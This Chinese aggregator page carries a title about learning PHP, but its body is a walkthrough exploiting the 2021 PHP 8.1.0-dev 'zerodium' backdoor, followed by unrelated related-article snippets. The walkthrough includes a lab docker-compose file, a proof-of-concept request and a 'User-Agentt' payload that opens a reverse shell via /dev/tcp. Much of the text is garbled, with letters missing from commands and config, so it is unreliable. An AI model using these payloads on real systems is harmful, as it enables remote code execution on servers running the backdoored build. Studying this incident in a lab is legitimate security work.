当前位置：首页 > 每日看点 > 正文内容

怎样深入学习php，成为php高手？

卡卷网12个月前 (01-01)每日看点177

简介

PHPverion8.1.0-dev于2021年3月28与后门一起发布，但是后门很快被发现并删除。

#漏洞概述

PHPverion8.1.0-dev的PHP在上运行，则攻击者可以通过发送User-Agentt标头执行任意代码。

#影响版本

PHP8.1.0-dev

#环境搭建

新建docker-compose.yml

version:'2' servs: we: image:vulhu/php:8.1-ackdoor volumes: -./index.php:/var/www/html/index.php ports: -"8080:80"

启动环境

docker-composeup-d

#漏洞复现

#poc验证

在header头增加user-agentt字段，值为：zerodiumvar_dump(2*3);

GET//1.1 Host:192.168.81.223:8800 Upgrade-Insece-Requests:1 User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWeKit/537.36(KHTML,likeGecko)Chrome/91.0.4472.77Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/if,image/wep,image/apng,*/*;q=0.8,application/signed-exchange;v=3;q=0.9 Accept-Encoding:gzip,deflate Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6 user-agentt:zerodiumvar_dump(2*3); Connection:close

如果执行了这个表达式，说明存在漏洞

#执行命令反弹shell

GET//1.1 Host:192.168.81.223:8800 Praa:no-cache Cache-Control:no-cache Upgrade-Insece-Requests:1 User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWeKit/537.36(KHTML,likeGecko)Chrome/91.0.4472.77Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/if,image/wep,image/apng,*/*;q=0.8,application/signed-exchange;v=3;q=0.9 Accept-Encoding:gzip,deflate User-Agentt:zerodium("ash-c'execash-i>&/dev/tcp/ip/66660>&1'"); Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6 Connection:close

#事件分析与反思

代码中含有”zerodium”字符串，而zerodium是一个专门漏洞的.在此事件中，怀疑黑客攻陷了://git.php.net，以PHP作者的名义做了两次代码提交。

#参考文章

s://log.dn.net/zy15667076526/article/details/116447864

扫描二维码推送至手机访问。

版权声明：本文由卡卷网发布，如需转载请注明出处。

本文链接：https://www.kajuan.net/ttnews/2025/01/6068.html

分享给朋友：
返回列表

上一篇：怎么速成C#？

下一篇：浏览器点击网页有中病的风险么，不下载文件执行能保证安全么？

相关文章

学了两个月网络安全，一直未入门怎么办，知乎大佬们给些建议吧？

学了两个月网络安全，一直未入门怎么办，知乎大佬们给些建议吧？

你才学两个月，就想入门，笑不活了，我学了8年了，还被人说是个菜鸟。我学了这么多的渗透，依然挖不到自己的漏洞。ailx10：学习CSRF漏洞ailx10：学习PHP XXE漏洞ailx10：学习CORS漏洞ailx10：学习ClickJack...

网页上的视频怎么下载呀？

网页上的视频怎么下载呀？

1、贝贝BiliBili - B站视频下载https://xbeibeix.com/api/bilibili/贝贝BiliBili 是个免费、免登录的bilibili视频下载工具，没有任何套路。把视频链接粘贴进去 → 输入验证码 → 解析视...

为什么苹果贵没人喷，华为贵一群人喷？

苹果：6:¥5288，6s:¥5288，7:¥5288，8:¥5288，XR：¥6299，11:¥5499，12:¥5999，13:¥5999，14:¥5999，15:¥5999，16:¥5999华为：P8：¥2888，P9:¥2988，P...

你为什么讨厌抖音?

我就被抖音毁了。现在被我媳妇从抖音里拯救出来了。我为什么会这样说？我媳妇硕士在读，我文化程度相对就比较低了。大多数人看抖音其实就是为了一图一乐呵刚开始我也是这样的，我是2017年在朋友的推荐下注册了抖音，刚开始那时候对抖音不太上瘾，一周也就...

常微分方程的理论对偏微分方程的研究有没有帮助？

常微分方程的理论对偏微分方程的研究有没有帮助？

之前看到过一句话，好像是 Bourgain 说的，大意是做 ode 的做到深处就到了 pde，做 pde 的做到深处就到了 ode，ode 和 pde 最后是相通的。以我目前有限的知识，只知道下面两个方向：1. Hamilton 系统在现代...

为什么不建议买游戏本？

我建议厂家改名厂家犯了个巨大错误：游戏本的主要受众是在校大学生，但大学生买电脑的买单人是他们的父母。你让父母给孩子买个游戏本，父母怎么想？如果你改成高效学习本、优质学习本、智能学习本、高速学习本，甚至硕博连读本，你看看家长舍不舍得砸这个钱...

发表评论

访客

看不清，换一张

◎欢迎参与讨论，请在这里发表您的看法和观点。

Copyright © 2019-2024 www.kajuan.net 版权所有

Powered By Z-BlogPHP. Theme by TOYEAN.